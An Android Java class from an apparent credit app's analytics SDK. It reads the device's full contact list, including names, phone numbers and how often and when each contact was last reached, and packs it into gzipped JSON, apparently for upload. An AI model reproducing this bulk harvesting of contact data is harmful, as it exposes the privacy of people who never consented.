package com.test.deencredit.analytics_deencredit.data_sdk_deencredit.services_deencredit;

import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.provider.ContactsContract;
import android.text.TextUtils;

import androidx.core.content.ContextCompat;

import com.google.gson.Gson;
import com.test.deencredit.analytics_deencredit.data_sdk_deencredit.beans_deencredit.ASCtctBn_deencredit;
import com.test.deencredit.analytics_deencredit.data_sdk_deencredit.util_deencredit.ASUtil_deencredit;

import java.util.ArrayList;
import java.util.List;

public class ASCtctIfo_deencredit {

    public static int fetchResult = 0;

    public static List<ASCtctBn_deencredit> getDatas_deencredit(Context paramContext) {
        ArrayList<ASCtctBn_deencredit> arrayList = new ArrayList<>();

        if (ContextCompat.checkSelfPermission(paramContext, Manifest.permission.READ_CONTACTS) != PackageManager.PERMISSION_GRANTED) {
            return arrayList;
        }

        try {
            Cursor cursor = paramContext.getContentResolver().query(
                    ContactsContract.Contacts.CONTENT_URI,
                    null,
                    null,
                    null,
                    null);

            if (cursor == null) {
                return arrayList;
            }

            if (cursor.moveToFirst()) {
                int j = cursor.getColumnIndex(ContactsContract.Contacts._ID);
                int k = cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);
                int t = cursor.getColumnIndex(ContactsContract.Contacts.TIMES_CONTACTED);
                int l = cursor.getColumnIndex(ContactsContract.Contacts.LAST_TIME_CONTACTED);
                int u = cursor.getColumnIndex(ContactsContract.Contacts.CONTACT_LAST_UPDATED_TIMESTAMP);

                do {
                    String str1 = ASUtil_deencredit.safeString_deencredit(cursor.getString(j));
                    String str2 = ASUtil_deencredit.safeString_deencredit(cursor.getString(k));
                    String str3 = ASUtil_deencredit.safeString_deencredit(cursor.getString(t));
                    String str4 = ASUtil_deencredit.safeString_deencredit(cursor.getString(l));
                    String str5 = ASUtil_deencredit.safeString_deencredit(cursor.getString(u));

                    int v = cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER);
                    String str6 = ASUtil_deencredit.safeString_deencredit(cursor.getString(v));
                    if (Integer.parseInt(str6) <= 0) {
                        continue;
                    }

                    Cursor cursor1 = paramContext.getContentResolver().query(
                            ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                            null,
                            ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = " + str1,
                            null,
                            null);

                    if (cursor1 == null || !cursor1.moveToFirst())
                        continue;
                    do {
                        int w = cursor1.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER);
                        String mobile = cursor1.getString(w).trim();
                        if (!TextUtils.isEmpty(mobile)) {
                            boolean hadMobile = false;
                            for (ASCtctBn_deencredit oriBean : arrayList) {
                                if (oriBean.getMobile_deencredit().equalsIgnoreCase(mobile)) {
                                    hadMobile = true;
                                    break;
                                }
                            }
                            if (!hadMobile) {
                                ASCtctBn_deencredit bean = new ASCtctBn_deencredit();
                                bean.setName_deencredit(str2);
                                bean.setMobile_deencredit(mobile);
                                bean.setLastUpdateTime_deencredit(str5);
                                bean.setLastTimeContacted_deencredit(str4);
                                bean.setTimesContacted_deencredit(str3);
                                arrayList.add(bean);
                            }
                        }
                    } while (cursor1.moveToNext());

                    if (!cursor1.isClosed()) {
                        cursor1.close();
                    }
                } while (cursor.moveToNext());
            }

            if (!cursor.isClosed()) {
                cursor.close();
            }
        } catch (Exception exception) {
            exception.printStackTrace();
        }

        if (arrayList.size() > 0) {
            fetchResult = 1;
        } else {
            fetchResult = 2;
        }

        return arrayList;
    }

    public static String getZipString_deencredit(Context paramContext) {
        String zipString = "";
        try {
            List<ASCtctBn_deencredit> contactInfoBeans = getDatas_deencredit(paramContext);
            String result = new Gson().toJson(contactInfoBeans).trim();
            zipString = ASUtil_deencredit.stringToGZIP_deencredit(result);
            contactInfoBeans.clear();
        } catch (Exception e) {
            e.printStackTrace();
        }

        return zipString;
    }

}
